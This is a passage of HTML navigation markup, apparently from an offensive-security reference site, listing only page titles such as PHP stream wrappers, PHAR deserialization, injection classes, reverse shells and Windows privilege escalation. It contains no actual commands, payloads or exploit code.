<a href="#wrapper-data" class="md-nav__link">
<span class="md-ellipsis">
Wrapper data://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-expect" class="md-nav__link">
<span class="md-ellipsis">
Wrapper expect://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-input" class="md-nav__link">
<span class="md-ellipsis">
Wrapper input://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-zip" class="md-nav__link">
<span class="md-ellipsis">
Wrapper zip://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-phar" class="md-nav__link">
<span class="md-ellipsis">
Wrapper phar://
</span>
</a>
<nav class="md-nav" aria-label="Wrapper phar://">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#phar-archive-structure" class="md-nav__link">
<span class="md-ellipsis">
PHAR archive structure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#phar-deserialization" class="md-nav__link">
<span class="md-ellipsis">
PHAR deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#wrapper-converticonv-and-dechunk" class="md-nav__link">
<span class="md-ellipsis">
Wrapper convert.iconv:// and dechunk://
</span>
</a>
<nav class="md-nav" aria-label="Wrapper convert.iconv:// and dechunk://">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#leak-file-content-from-error-based-oracle" class="md-nav__link">
<span class="md-ellipsis">
Leak file content from error-based oracle
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#leak-file-content-inside-a-custom-format-output" class="md-nav__link">
<span class="md-ellipsis">
Leak file content inside a custom format output
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTeX Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management &amp; CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
Regular Expression
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
